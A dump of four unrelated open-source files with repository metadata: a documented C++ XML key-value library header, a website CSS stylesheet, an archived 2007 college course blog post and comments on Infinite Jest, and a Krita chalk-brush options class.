///@sa streamAllSubKeys()
///@sa INDENT_CHAR
void toStream(std::ostream& os, const std::string& keyName, int indent) const;
///Streams all keys stored in keys_ variable.
///Called from toStream() puts all the nested keys in the specified stream.
///@param os Output stream to store the keys information. Typically this is a file stream.
///@param indent How many INDENT_CHAR chars to use at the beginning of each line to indent it.
///@sa toStream()
void streamAllSubKeys(std::ostream& os, int indent = 1) const;
public:
friend std::ostream& operator<<(std::ostream& os, const MyXML::Key& key);
///Default constructor.
///Empty default constructor is needed for some routines which call it explicitly or if you want
///to create an empty key and fill it later.
///@sa Key(const std::string& initValue)
Key() {}
///Creates a new key and loads XML data from specified key.
///This constructor will automatically load the XML data from a file
///@param loadFromFileName XML file name to be loaded.
///@sa loadFromFile()
Key(const std::string& loadFromFileName) {loadFromFile(loadFromFileName);}
///Sets up new value to the key.
///Thanks to this overloaded operator if you want to change the key value, you don't have
///to call value() every time like this:
///@code
///MyXML::Key key;
///key.value() = "abc";
///@endcode
///but simply assign the Key object as it were a string:
///@code
///MyXML::Key key;
///key = "abc";
///@endcode
///@param value New key value.
///@return Reference to a string containing value after change.
///@sa value()
///@sa operator=(int value)
std::string& operator=(const std::string& value) {return value_ = value;}
///Sets up an integer value to the key.
///This is similar to the operator=(const std::string& value), but it simplifies assigning
///numeric data to the key - which is very common.
///@par Example:
///@code
///MyXML::Key key1, key2;
///key1 = "abc";
///key2 = 123; //(1)
///@endcode
///(1) uses this overloaded operator. The key2.value() would now be "123".
///@param value New key integer value, which will be automatically converted into string.
///@return Reference to a string containing value after conversion change.
///@sa value()
///@sa operator=(const std::string& value)
std::string& operator=(int value) {return value_ = boost::lexical_cast<std::string>(value);}
///Automatically converts Key object into the string.
///The string represents the Key::value_. This may really simplify reading the key's value.
///Using value() method you would say:
///@code
/// MyXML::Key key;
/// key = "Key value";
/// string s = key.value();
/// cout << key.value() << endl
///@endcode
///But using this operator its much simplier:
///@code
/// MyXML::Key key("Key value");
/// string s = key();
/// cout << static_cast<string>(key) << endl
///@endcode
///As you see you must be carefull with overloaded operator<<() for streams as it have both
///version for std::string objects an Key object and the one for Key object has bigger
///bigger priority in this case so the explicit cast must be used.
///@return Const reference to a string containing key's value.
///@note Use non-const version of this operator for writing.
///@sa value()
operator const std::string&() const {return value_;}
///Automatically converts Key object into the string.
///The string represents the Key::value_. This may really simplify reading and writing
///the key's value.
///@return Reference to a string containing key's value.
///@sa value()
operator std::string&() {return value_;}
///Gives access to value_ variable.
///Allows to read and change the keys value. I recommend to use the overloaded conversion
///operator and operator=() although this may sometimes produce ambiguities.
///@return Reference to a string containing key's value.
///@sa operator=() and std::string&() for examples
///@sa value_
///@sa value() const
std::string& value() {return value_;}
///Gives read only access to key value.
///Allows only to read the keys value when the key is const.
///@return Const reference to a string containing key's value, which makes impossible to
///change it.
///@sa value()
const std::string& value() const {return value_;}
///Gives access to the key attributes.
///Returns the value of an attribute of a specified name, allowing to read and change it.
///@par Example:
///@code
/// MyXML::Key key;
/// key = "data";
/// MyXML::Key& subKey = key["key1"];
/// subKey.attribute("att1") = "First value";
/// subKey.attribute("att2") = "Second value";
/// subKey.attribute("att3") = "Third value";
/// string s = subKey.attribute("att3");
/// cout << key << endl;
/// cout << s << endl;
///@endcode
///And the output:
///@verbatim
/// <?xml version="1.0" ?>
/// <data>
/// <key1 att1="First value" att2="Second value" att3="Third value" />
/// </data>
///
/// Third value
///@endverbatim
///@param attName Attribute name to read.
///@return Reference to a string containing a value of a specified attribute. If the
///attribute does not exist, it will return an empty string creating a new empty attribute.
///@sa attributes
///@sa attribute(const std::string& attName) const
std::string& attribute(const std::string& attName) {return attributes[attName];}
///Gives access to the key attributes.
///Returns the value of an attribute of a specified name, allowing only to read it. This
///overloaded version of attribute() method works with const keys as well.
///@param attName Attribute name to read.
///@return Reference to a string containing a value of a specified attribute. If the
///attribute does not exist, it will differently to non-const version throw an exception, as
///it can't add an empty attribute to const object.
///@throws Exception
///@sa attributes
///@sa attribute(const std::string& attName)
const std::string& attribute(const std::string& attName) const;
///Gives access to a specified sub key.
///Allows to get the sub key using array-style square brackets.
///@note If there are more than one key with a specified name, the exception will be thrown
///because the key name is ambiguos. Consider the following example:
///@code
/// MyXML::Key key;
/// key["key1"] = "Key 1 value"; //OK, one key named key1
/// key.insert("key2");
/// key.insert("key2");
/// cout << key["key2"].value(); //WRONG: more than one key with name key2 - exception!!!
///@endcode
///There is another feature - in the second line we use key1 without earilier adding it.
///That's right - if the key with a given name does not exist, an empty key will be added
///automatically. But if you want to add more than one key with same name, use insert()
///instead.
///@par
///Another example shows how to use this operator to create quasi N-dimensional arrays from
///XML data:
///@code
/// MyXML::Key key;
/// key = "data";
/// key["key"]["nestedKey"]["evenMoreNestedKey1"].attribute("nest") = "3 (a)";
/// key["key"]["nestedKey"]["evenMoreNestedKey2"].attribute("nest") = "3 (b)";
/// cout << key;
///@endcode
///This will produce following XML hierarchy:
///@verbatim
/// <?xml version="1.0" ?>
/// <data>
/// <key>
/// <nestedKey>
/// <evenMoreNestedKey1 nest="3 (a)" />
/// <evenMoreNestedKey2 nest="3 (b)" />
/// </nestedKey>
/// </key>
/// </data>
///@endverbatim
///@param keyName Name of a key which you want to access. If he key does not exist, it will
///be created. If there are more than one key with this name, exception will be thrown.
///@return Reference to a key with the specified name.
///@throw Exception
///@sa operator[](const std::string& keyName) const
///@sa insert()
Key& operator[](const std::string& keyName);
///Gives access to a specified sub key.
///Allows to get the sub key using array-style square brackets. Because it operates on
///const objects, it can't add new sub keys - so calling the method with unexisting key name
///will end up with exception thrown.
///@param keyName Name of a key which you want to access. If he key does not exist or there
///are more than one key with this name, exception will be thrown.
///@return Reference to a key with the specified name.
///@return Const reference to a key with the specified name.
///@throw Exception
///@sa operator[](const std::string& keyName) for examples
///@sa insert()
const Key& operator[](const std::string& keyName) const;
///Inserts a new sub key with the specified name.
///Creates a new empty key with a specified name. Although for creating keys with unique
///names calling operator[]()is much simplier, it can't solve the problem of adding multiple
///keys with the same name.
///@par Example:
///This examples shows how to add and read keys with the same names.
///@code
/// MyXML::Key key;
/// key = "data";
/// for(int x = 1; x <= 20; ++x)
/// {
/// MyXML::Key& item = key.insert("item");
/// item.attribute("id") = lexical_cast<std::string>(x);
/// item = "Item data number: " + lexical_cast<std::string>(x);
/// }
/// MyXML::KeysRange range = key.keys("item");
/// for(MyXML::KeyIterator i = range.first; i != range.second; ++i)
/// cout << i->second.attribute("id") << ":\t" << i->second.value() << endl;
///@endcode
///@param newKeyName Name of a key you want to create. Might be the same as the one which
///already exists.
///@return Reference to a newly created key.
///@sa operator[]()
///@sa keys()
Key& insert(const std::string& newKeyName)
{return keys_.insert(make_pair(newKeyName, Key()))->second;}
///Removes specified sub keys.
///@param removeKeyName Name of key(s) which you want to remove.
///@return Number of keys which were removed. Of course 0 means that no keys with the
///given name were found and removed.
///@sa insert()
///@sa clear()
///@sa count()
int remove(const std::string& removeKeyName) {return keys_.erase(removeKeyName);}
///Clears the key.
///Clearing means removing the value, all sub keys and attributes. The key becomes empty
///just as it was after creating it.
///@sa remove()
///@sa insert()
///@sa count
void clear();
///Returns all sub keys with specified name.
///You cannot use operator[]() to read the key if there are more than one key with the
///specified name. You must instead call keys() method. It returns a pair of iterators
///which limits all the keys with the specified key name.
///@par Example:
///See @ref insert() for complete keys() example.
///@param keyName Name of key(s) which you want to read.
///@return Pair of iterators limiting all the keys with the specified name. First element
///is the first key with a specified name, second is the key <b>after</b> the last key with
///a specified name.
///@sa operator[]()
///@sa keys(const std::string& keyName)
KeysRange keys(const std::string& keyName) {return keys_.equal_range(keyName);}
///Returns all sub keys with specified name.
///This overloaded method of keys() operates on const Key objects and it returns
///pair of const iterators.
///@par Example:
///See @ref insert() for complete keys() example.
///@param keyName Name of key(s) which you want to read.
///@return Pair of const iterators limiting all the keys with the specified name. First element
///is the first key with a specified name, second is the key <b>after</b> the last key with
///a specified name.
///@sa operator[]()
///@sa keys(const std::string& keyName) const
///@sa count()
KeysConstRange keys(const std::string& keyName) const {return keys_.equal_range(keyName);}
///Returns the count of all sub keys with a specified name.
///@param keyName name of sub keys to count.
///@return Number of sub keys with the specified name. If no keys with that name exist,
///function returns 0.
///@sa insert()
///@sa keys()
///@sa count()
int count(const std::string& keyName) const {return keys_.count(keyName);}
///Save the whole key to a specified XML file.
///Creates file with a specified name (if it's not possible throws an exception) and
///puts whole key (including sub keys) data proceeded with XML header into it using
///overloaded operator<<(std::ostream& os, const MyXML::Key& root).
///@param fileName Name of file to save the XML data
///@throw Exception
///@sa operator<<(std::ostream& os, const MyXML::Key& root)
///@sa loadFromFile()
void saveToFile(const std::string& fileName) const;
///Loads XML file into key.
///Opens file with a specified name (if it's not possible throws an exception) and
///read all the XML data (including sub keys) into key using overloaded
///operator>>(std::ostream& os, const MyXML::Key& root).
///@param fileName Name of file to load the XML data
///@throw Exception
///@warning Loading function does not perform any syntax check, see
///operator>>(std::ostream& os, const MyXML::Key& root) for more details.
///@sa operator>>(std::ostream& os, const MyXML::Key& root)
///@sa saveToFile()
void loadFromFile(const std::string& fileName);
}; //class Key
//----------------------------------------------------------------------------
///Overloaded operator<<() for Key object output.
///Used mostly to save XML Ket into file or print it onto the screen while testing.
///@sa Key::saveToFile()
std::ostream& operator<<(std::ostream& os, const MyXML::Key& root);
///Overloaded operator<<() for Key object input.
///Used mostly to load XML data from file into Key object.
///@warning While testing the class I've decided to throw away all XML syntax checking sacrificing
///safety for speed. If you're using only proper XML files (i.e. made using the library with
///correct key names and values) everything will be OK. But if you read corrupted XML file
///or using features which are not available in my library, the <b>library behaviour is
///undefined</b>.
///@sa Key::saveToFile()
std::istream& operator>>(std::istream& is, MyXML::Key& root);
//----------------------------------------------------------------------------
///Reading key value giving the default one.
///This tool simplifies reading some XML data where the specified key does not exist. Normally the
///key method value() would return an empty string. Using this function you might give any default
///value you want (with any type you want) and if the key does not exist, the function will
///return this default value. Additionally the key will be set to the default value too.<br>
///Of course if the key exists, the will just return its value.
///@param key XML key which value we want to read.
///@param defaults Default value of a key (must be ability to convert it to and from a string).
///@return Key value or default value if key doesn't have any.
///@sa Key::value()
template<typename T>
const T readKeyDef(MyXML::Key& key, const T& defaults)
{
if(key.value().empty())
{
key = boost::lexical_cast<std::string>(defaults);
return defaults;
}
else
return boost::lexical_cast<T, std::string>(key);
}
///Reading key attribute value giving the default one.
///This tool simplifies reading some XML data where the specified key attribute does not exist.
///Normally the key method attribute() would return an empty string. Using this function you
///might give any default attribute value you want (with any type you want) and if the key
///attribute does not exist, the function will return this default value. Additionally the key
///attribute will be set to the default value too.<br>
///Of course if the key attribute exists, the will just return its value.
///@param key XML key which attribute's value we want to read.
///@param attrName Attribute name we want to read.
///@param defaults Default value of an attribute (must be ability to convert it to and from
///a string).
///@return Attribute value or default value if key attribute doesn't have any.
///@sa Key::attribute()
template<typename T>
const T readAttrDef(MyXML::Key& key, const std::string& attrName, const T& defaults)
{
std::string& attValue = key.attribute(attrName);
if(attValue.empty())
{
attValue = boost::lexical_cast<std::string>(defaults);
return defaults;
}
else
return boost::lexical_cast<T>(attValue);
}
//----------------------------------------------------------------------------
} //namespace MyXML
//----------------------------------------------------------------------------
#endif
//----------------------------------------------------------------------------
|
nurkiewicz/CuTe
|
code/MyXML/myxml.h
|
C
|
gpl-2.0
| 24,883
|
/**
* @file
* Pushsay.com common styles
*/
html,.front{height: 100%;}
/****************
* header
****************/
#header{padding-top:20px;background: #f3f3f3;}
#header .container{position: relative;}
/*navbar*/
#logo{float: left;margin:0 auto;color: #333;font:700 60px/40px "British Rail Dark", arial, sans-serif; }
#logo a{color: #000;}
#logo a:hover{color: #f84242;text-decoration: none;-webkit-transition: color .3s;-moz-transition: color .3s;-o-transition: color .3s;-ms-transition: color .3s;transition: color .3s;}
.navbar .nav{float: right;margin:0;}
.navbar .nav > li{margin-left: 30px;}
.navbar .nav > li > a{color: #333;text-shadow:none;margin:0 -15px; font-family: "British Rail Dark", arial, sans-serif;}
.navbar .nav > li > a:hover,
.navbar .nav > li.active > a:hover,
.navbar .nav > li.active > a{color:#f84242;background: none;box-shadow: none;-webkit-transition: color .3s;-moz-transition: color .3s;-o-transition: color .3s;-ms-transition: color .3s;transition: color .3s;}
.navbar .nav > li.active > a{font-weight: 700;}
/*language*/
.language-switcher-locale-url{list-style: none;position: absolute;top: -16px;right: 0;font-size: 12px;color: #fff;}
.language-switcher-locale-url li{display: inline;padding:0;margin:0 0 0 10px;}
.language-switcher-locale-url li a{color: #999;font-family: "British Rail Dark", arial, sans-serif;}
.language-switcher-locale-url li.active{padding-top:8px;}
.language-switcher-locale-url li.active a{color: #f84242;}
#main{margin-bottom:30px;}
#footer{padding:20px 0 0;}
#footer p{font-size: 12px;}
#page-title{display: inline-block;margin:0;padding:20px 0 28px;border-bottom:2px solid #f84242;color: #f84242; font:100 48px/48px 'museo-sans', Geneva, sans-serif;}
#content{padding:40px 0 0;}
/******************
* front
******************/
.front{color: #fff; background:#000 url(../images/about-slider/about-slider-1.jpg) no-repeat center center fixed;-webkit-background-size:cover;-o-background-size:cover;background-size: cover;}
.front #header,
.front #logo,
.front #logo a{color: #fff;}
.front #logo a:hover{color: #f84242;}
.front #header .navbar .nav a{color: #fff;}
.front #header .navbar .nav a:hover{color: #f84242;}
.front #header{background: none;border-bottom:none;}
.front .language-switcher-locale-url li a{color: #fff;}
.front .language-switcher-locale-url li.active a{color: #f84242;}
/* front stick*/
.front #page{min-height: 100%;height: auto !important;height: 100%;margin: 0 auto -30px;}
.front #main{margin-bottom:0;}
.front #footer{height: 30px;text-align: right;padding:0;background: none;text-shadow:1px 1px 1px #000;}
.front #content{padding:0;}
.front #content .links{display: none;}
.front #content .feed-icon{display: none;}
.front #content h2{margin-top: 20%;color: #fff;font:700 60px "Helvetica Neue", Helvetica, Arial, "Microsoft Yahei UI", "Microsoft YaHei", SimHei, "\5B8B\4F53", simsun, sans-serif;text-align: center;letter-spacing:-2px;}
.front #content h2 strong{text-shadow:2px 2px 2px #000;}
/********************
* about
********************/
.about-slogn{margin:0 0 30px; font:700 50px "Helvetica Neue", Helvetica, Arial, "Microsoft Yahei UI", "Microsoft YaHei", SimHei, "\5B8B\4F53", simsun, sans-serif;}
.disciplines-list{color: #fff;background: #f84242;padding:30px 40px;margin:0;font-size: 18px;}
.disciplines-list dt{margin-bottom:20px;}
.disciplines-list dd{line-height: 40px;margin:0;font-weight: 300;}
.about-process{margin-bottom:20px;}
.about-process dl{margin-left:10px;padding-left: 60px;background: url(../images/about-process/about-process.png) no-repeat -88px 0;}
.about-process dl dt{margin-bottom:10px;}
.about-process dl dd{margin:0;padding:0;}
.about-process dl.strategy{background-position: -88px 0;}
.about-process dl.design{background-position: -57px -31px;}
.about-process dl.branding{background-position: -28px -62px;}
.about-process dl.development{background-position: 0px -94px;}
/*********************
* i18n
*********************/
.i18n-en{font-family: 'museo-sans', Geneva, sans-serif;}
.i18n-en .about-slogn{font-size: 60px;}
.i18n-en.front #content h2{text-shadow:2px 2px 2px #f84242;}
.i18n-en.front #content h2 strong{font-size: 48px;color: #f84242;text-shadow:none;}
.i18n-en .contact-slogn h2{font-size: 30px;}
/*********************
* works
*********************/
.works-list{list-style: none;}
.works-list li{display:block;list-style: none;margin-bottom:30px;text-align: center;}
.works-list img{display: block;width: 100%;}
.works-list .views-field-title a{display: block;line-height: 50px; font-size: 18px;background: #f3f3f3;color: #333;}
.works-list .views-field-title a:hover{background: #f0f0f0;color: #676767;text-decoration: none;}
.node-article{margin-bottom:30px;}
.node-article a{color: #f84242;}
.node-article .content{line-height: 2em;}
.node-article .content h2{margin:0 0 10px;font-size: 36px;line-height: 40px;}
.node-article .content .submitted{color: #999;margin-bottom:10px;}
.node-article .content .field-name-body{margin-bottom:10px;}
.contact-slogn{font-size: 24px;line-height: 30px;margin-bottom:30px;}
.contact-slogn h2{font:700 50px "Helvetica Neue", Helvetica, Arial, "Microsoft Yahei UI", "Microsoft YaHei", SimHei, "\5B8B\4F53", simsun, sans-serif;}
.contact-article{font:500 24px "Helvetica Neue", Helvetica, Arial, "Microsoft Yahei UI", "Microsoft YaHei", SimHei, "\5B8B\4F53", simsun, sans-serif;}
|
acthtml/pushsay.com
|
sites/all/themes/pushsay/css/pushsay.css
|
CSS
|
gpl-2.0
| 5,398
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nuns gone bad...PGOATs gone bad.... | The Big Novel</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="../../misc/favicon.ico" type="image/x-icon" />
<style type="text/css" media="all">@import "../../modules/node/node.css";</style>
<style type="text/css" media="all">@import "../../modules/poll/poll.css";</style>
<style type="text/css" media="all">@import "../../modules/system/defaults.css";</style>
<style type="text/css" media="all">@import "../../modules/system/system.css";</style>
<style type="text/css" media="all">@import "../../modules/user/user.css";</style>
<style type="text/css" media="all">@import "../../sites/all/modules/tagadelic/tagadelic.css";</style>
<style type="text/css" media="all">@import "../../modules/comment/comment.css";</style>
<style type="text/css" media="all">@import "../../sites/all/themes/newmedia/style.css";</style>
<!--[if IE 6]>
<style type="text/css" media="all">@import "../../sites/all/themes/newmedia/ie-fixes/ie6.css";</style>
<![endif]-->
<!--[if lt IE 7.]>
<script defer type="text/javascript" src="../../sites/all/themes/newmedia/ie-fixes/pngfix.js"></script>
<![endif]-->
</head>
<body>
<div id="page">
<!-- begin wrapper -->
<div id="container">
<!-- primary links -->
<!-- begin header -->
<div id="header">
<!-- site logo -->
<!-- end site logo -->
<!-- site name -->
<h1>
<a href="../../index.html" title="Home">
The Big Novel </a>
</h1>
<!-- end site name -->
<!-- site slogan -->
<!-- end site slogan -->
<div id="menu">
<ul class="links-menu">
<li><a href="http://machines.plannedobsolescence.net" title="associate professor of english and media studies">kathleen fitzpatrick</a></li>
<li><a href="http://www.pomona.edu" title="in claremont, california">pomona college</a></li>
</ul> </div><!-- end primary links -->
</div><!-- end header -->
<!-- search box in nowhere land - NEEDS WORK-->
<!-- end search box -->
<!-- content -->
<!-- <div id="main">-->
<!-- begin main content -->
<div id="mainContent" style="width: 530px;">
<div class="breadcrumb"><div class="breadcrumb"><a href="../../index.html">Home</a> » <a href="../../blog/index.html">Blogs</a> » <a href="../../blog/9/index.html">potted plant's blog</a></div></div> <h1 class="pageTitle">Nuns gone bad...PGOATs gone bad....</h1> <div class="node">
<div class="submitted">By potted plant - Posted on 1 April 2007 - 11:17am.</div>
<div class="taxonomy">Tagged: <ul class="links inline"><li class="first taxonomy_term_158"><a href="../../taxonomy/term/158/index.html" rel="tag" title="" class="taxonomy_term_158">drugs</a></li>
<li class="last taxonomy_term_153"><a href="../../taxonomy/term/153/index.html" rel="tag" title="" class="taxonomy_term_153">Infinite Jest</a></li>
</ul></div> <div class="content"><p>I was amused at Himself's movie about nuns. The fact that he is using nuns and violence to talk about AA and the very things we discussed in class: trading in one addiction for another one (cigarettes, coffee, AA meetings, God). </p>
<p>Also, the young new nun is disfigured, and addicted. This all made me think of Joelle's experience at AA. This film would have been made before all this, but it still seems like it might connect.</p>
</div>
<div class="links"><ul class="links inline"><li class="first last blog_usernames_blog"><a href="../../blog/9/index.html" title="Read potted plant's latest blog entries." class="blog_usernames_blog">potted plant's blog</a></li>
</ul></div> </div>
<div id="comments"><a id="comment-405"></a>
<div class="comment">
<div class="commentTitle"><a href="index.html#comment-405" class="active">Bad-ass nuns</a></div>
<div class="submitted">Submitted by littlerock on 1 April 2007 - 7:01pm.</div>
<div class="content"><p>The Blood Sister cartridge was totally hilarious. Some of the descriptions of the bad-ass nuns riding motorcycles, kicking people's asses, and having a generally feared reputation (but still having a heart of gold underneath that tough exterior that's willing to take a young punk girl under her wing). And then the twist, where we find out the nun WAS actually bad all along, and staging an underground drug ring. It was almost ridiculous enough to be an actual entertaining action/drama movie.</p>
</div>
<div class="links"></div>
</div>
<a id="comment-435"></a>
<div class="comment">
<div class="commentTitle"><a href="index.html#comment-435" class="active">I remember reading somewhere</a></div>
<div class="submitted">Submitted by kettledrum on 4 April 2007 - 12:46am.</div>
<div class="content"><p>I remember reading somewhere about a (Japanese? maybe?) television program (cartoon?maybe?) featuring a badass nun that was thought to maybe have originated from Infinite Jest. But I've been looking online and can't find this fact anywhere, so I may be making this up! Or maybe it was something else. If not, though, I want to see this cartoon.</p>
</div>
<div class="links"></div>
</div>
</div>
</div>
<!-- Begin Sidebars -->
<div id="sideBars-bg" style="width: 415px;">
<div id="sideBars" style="width: 415px;">
<!-- left sidebar -->
<div id="leftSidebar">
<div class="block block-block" id="block-block-3">
<h2 class="title"></h2>
<div class="content"><p><a href="../../index.html">the big novel</a> is the spring 2007 course website for english 55 at pomona college in claremont, california.</p>
<p><a href="http://machines.plannedobsolescence.net">the professor</a><br />
<a href="../../syllabus/index.html">the syllabus</a><br />
<a href="https://sakai.claremont.edu/portal/site/CX_mtg_26013">the sakai site</a><br />
<a href="../../taxonomy/term/1/index.html">more information</a></p>
</div>
</div>
<div class="block block-tagadelic" id="block-tagadelic-1">
<h2 class="title">tags</h2>
<div class="content"><a href="../../taxonomy/term/94/index.html" class="tagadelic level2" rel="tag">baseball</a>
<a href="../../taxonomy/term/6/index.html" class="tagadelic level2" rel="tag">characters</a>
<a href="../../taxonomy/term/95/index.html" class="tagadelic level2" rel="tag">Cold War</a>
<a href="../../taxonomy/term/23/index.html" class="tagadelic level2" rel="tag">comedy</a>
<a href="../../taxonomy/term/1/index.html" class="tagadelic level1" rel="tag">course information</a>
<a href="../../taxonomy/term/225/index.html" class="tagadelic level6" rel="tag">Cryptonomicon</a>
<a href="../../taxonomy/term/154/index.html" class="tagadelic level1" rel="tag">David Foster Wallace</a>
<a href="../../taxonomy/term/102/index.html" class="tagadelic level2" rel="tag">death</a>
<a href="../../taxonomy/term/158/index.html" class="tagadelic level2" rel="tag">drugs</a>
<a href="../../taxonomy/term/3/index.html" class="tagadelic level6" rel="tag">Gravity's Rainbow</a>
<a href="../../taxonomy/term/155/index.html" class="tagadelic level1" rel="tag">Hal</a>
<a href="../../taxonomy/term/153/index.html" class="tagadelic level6" rel="tag">Infinite Jest</a>
<a href="../../taxonomy/term/45/index.html" class="tagadelic level2" rel="tag">language</a>
<a href="../../taxonomy/term/168/index.html" class="tagadelic level1" rel="tag">mario</a>
<a href="../../taxonomy/term/56/index.html" class="tagadelic level2" rel="tag">motifs</a>
<a href="../../taxonomy/term/57/index.html" class="tagadelic level1" rel="tag">names</a>
<a href="../../taxonomy/term/17/index.html" class="tagadelic level2" rel="tag">narrative</a>
<a href="../../taxonomy/term/140/index.html" class="tagadelic level1" rel="tag">Nick</a>
<a href="../../taxonomy/term/118/index.html" class="tagadelic level1" rel="tag">paranoia</a>
<a href="../../taxonomy/term/26/index.html" class="tagadelic level1" rel="tag">peace</a>
<a href="../../taxonomy/term/29/index.html" class="tagadelic level1" rel="tag">quotes</a>
<a href="../../taxonomy/term/11/index.html" class="tagadelic level1" rel="tag">Roger and Jessica</a>
<a href="../../taxonomy/term/24/index.html" class="tagadelic level2" rel="tag">sex</a>
<a href="../../taxonomy/term/7/index.html" class="tagadelic level2" rel="tag">Significant quotes</a>
<a href="../../taxonomy/term/20/index.html" class="tagadelic level4" rel="tag">Slothrop</a>
<a href="../../taxonomy/term/164/index.html" class="tagadelic level1" rel="tag">tennis</a>
<a href="../../taxonomy/term/91/index.html" class="tagadelic level6" rel="tag">Underworld</a>
<a href="../../taxonomy/term/12/index.html" class="tagadelic level2" rel="tag">war</a>
<a href="../../taxonomy/term/101/index.html" class="tagadelic level2" rel="tag">waste</a>
<a href="../../taxonomy/term/50/index.html" class="tagadelic level1" rel="tag">Zero</a>
<div class='more-link'><a href="../../tagadelic/chunk/1/index.html">more tags</a></div></div>
</div>
<div class="block block-user" id="block-user-1">
<h2 class="title">Navigation</h2>
<div class="content">
<ul class="menu">
<li class="leaf"><a href="../../tracker/index.html">Recent posts</a></li>
</ul>
</div>
</div>
</div>
<!-- right sidebar -->
<div id="rightSidebar">
<div class="block block-comment" id="block-comment-0">
<h2 class="title">Recent comments</h2>
<div class="content"><div class="item-list"><ul><li><a href="../337/index.html#comment-569">Didn't that article we read</a><br />3 years 51 weeks ago</li><li><a href="../325/index.html#comment-568">no, not just you! I copied</a><br />3 years 52 weeks ago</li><li><a href="../328/index.html#comment-567">I too used to think that the</a><br />3 years 52 weeks ago</li><li><a href="../328/index.html#comment-566">I was really put off by that</a><br />3 years 52 weeks ago</li><li><a href="../332/index.html#comment-565">Even our generation has</a><br />3 years 52 weeks ago</li><li><a href="../334/index.html#comment-564">Erdedy</a><br />3 years 52 weeks ago</li><li><a href="../328/index.html#comment-563">i had the same reaction
</a><br />3 years 52 weeks ago</li><li><a href="../328/index.html#comment-562">women as tools</a><br />4 years 15 hours ago</li><li><a href="../328/index.html#comment-561">females in all of these novels</a><br />4 years 18 hours ago</li><li><a href="../328/index.html#comment-560">sexpot</a><br />4 years 1 day ago</li></ul></div></div>
</div>
<div class="block block-block" id="block-block-1">
<h2 class="title"></h2>
<div class="content"><h3>Pynchon</h3>
<p><a href="http://www.pynchon.pomona.edu/">San Narciso Community College</a> (aka the Pomona Pynchon site)<br />
<a href="http://www.themodernword.com/pynchon/">Pynchon @ The Modern Word</a><br />
<a href="http://www.robotwisdom.com/jorn/tpportal.html">Pynchon @ Robot Wisdom</a><br />
<a href="http://www.ham.muohio.edu/~krafftjm/pynchon.html">Pynchon Notes</a><br />
<a href="http://www.waste.org/pynchon-l/">Pynchon-l</a></p>
<h3>DeLillo</h3>
<p><a href="http://perival.com/delillo/delillo.html">Don DeLillo's America</a><br />
<a href="http://www.k-state.edu/english/nelp/delillo/">The Don DeLillo Society</a></p>
<h3>Wallace</h3>
<p><a href="http://www.thehowlingfantods.com/dfw.htm">The Howling Fantods</a><br />
<a href="http://waste.org/mail/?list=wallace-l">Wallace-l</a></p>
<h3>Stephenson</h3>
<p><a href="http://www.nealstephenson.com/">The Author's website</a><br />
<a href="http://www.well.com/~neal/">The Author's old website</a><br />
<a href="http://www.cryptonomicon.com/">Cryptonomicon</a></p>
</div>
</div>
</div>
</div><!-- end sidebars -->
</div><!-- end sideBars-bg -->
<!-- footer -->
<div id="footer">
</div><!-- end footer -->
</div><!-- end container -->
</div><!-- end page -->
<!-- Start of StatCounter Code -->
<script type="text/javascript">
var sc_project=3034095;
var sc_invisible=1;
var sc_partition=33;
var sc_security="ec028fa0";
</script>
<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c34.statcounter.com/3034095/0/ec028fa0/1/" alt="blog stats" /></a></div></noscript>
<!-- End of StatCounter Code -->
</body>
</html>
<!-- Localized -->
|
kfitz/machines
|
55-2007/node/247/index.html
|
HTML
|
gpl-2.0
| 12,877
|
/*
* Copyright (c) 2008,2010 Lukáš Tvrdý <lukast.dev@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include "kis_chalkop_option.h"
#include "ui_wdgchalkoptions.h"
class KisChalkOpOptionsWidget: public QWidget, public Ui::WdgChalkOptions
{
public:
KisChalkOpOptionsWidget(QWidget *parent = 0)
: QWidget(parent) {
setupUi(this);
}
};
KisChalkOpOption::KisChalkOpOption()
: KisPaintOpOption(i18n("Brush size"), KisPaintOpOption::brushCategory(), false)
{
m_checkable = false;
m_options = new KisChalkOpOptionsWidget();
m_options->hide();
connect(m_options->radiusSpinBox, SIGNAL(valueChanged(int)), SIGNAL(sigSettingChanged()));
connect(m_options->inkDepletionCHBox, SIGNAL(clicked(bool)), SIGNAL(sigSettingChanged()));
connect(m_options->opacity, SIGNAL(clicked(bool)), SIGNAL(sigSettingChanged()));
connect(m_options->saturation, SIGNAL(clicked(bool)), SIGNAL(sigSettingChanged()));
setConfigurationPage(m_options);
}
KisChalkOpOption::~KisChalkOpOption()
{
// delete m_options;
}
int KisChalkOpOption::radius() const
{
return m_options->radiusSpinBox->value();
}
void KisChalkOpOption::setRadius(int radius) const
{
m_options->radiusSpinBox->setValue(radius);
}
bool KisChalkOpOption::inkDepletion() const
{
return m_options->inkDepletionCHBox->isChecked();
}
bool KisChalkOpOption::opacity() const
{
return m_options->opacity->isChecked();
}
bool KisChalkOpOption::saturation() const
{
return m_options->saturation->isChecked();
}
void KisChalkOpOption::writeOptionSetting(KisPropertiesConfiguration* setting) const
{
setting->setProperty(CHALK_RADIUS, radius());
setting->setProperty(CHALK_INK_DEPLETION, inkDepletion());
setting->setProperty(CHALK_USE_OPACITY, opacity());
setting->setProperty(CHALK_USE_SATURATION, saturation());
}
void KisChalkOpOption::readOptionSetting(const KisPropertiesConfiguration* setting)
{
m_options->radiusSpinBox->setValue(setting->getInt(CHALK_RADIUS));
m_options->inkDepletionCHBox->setChecked(setting->getBool(CHALK_INK_DEPLETION));
m_options->opacity->setChecked(setting->getBool(CHALK_USE_OPACITY));
m_options->saturation->setChecked(setting->getBool(CHALK_USE_SATURATION));
}
|
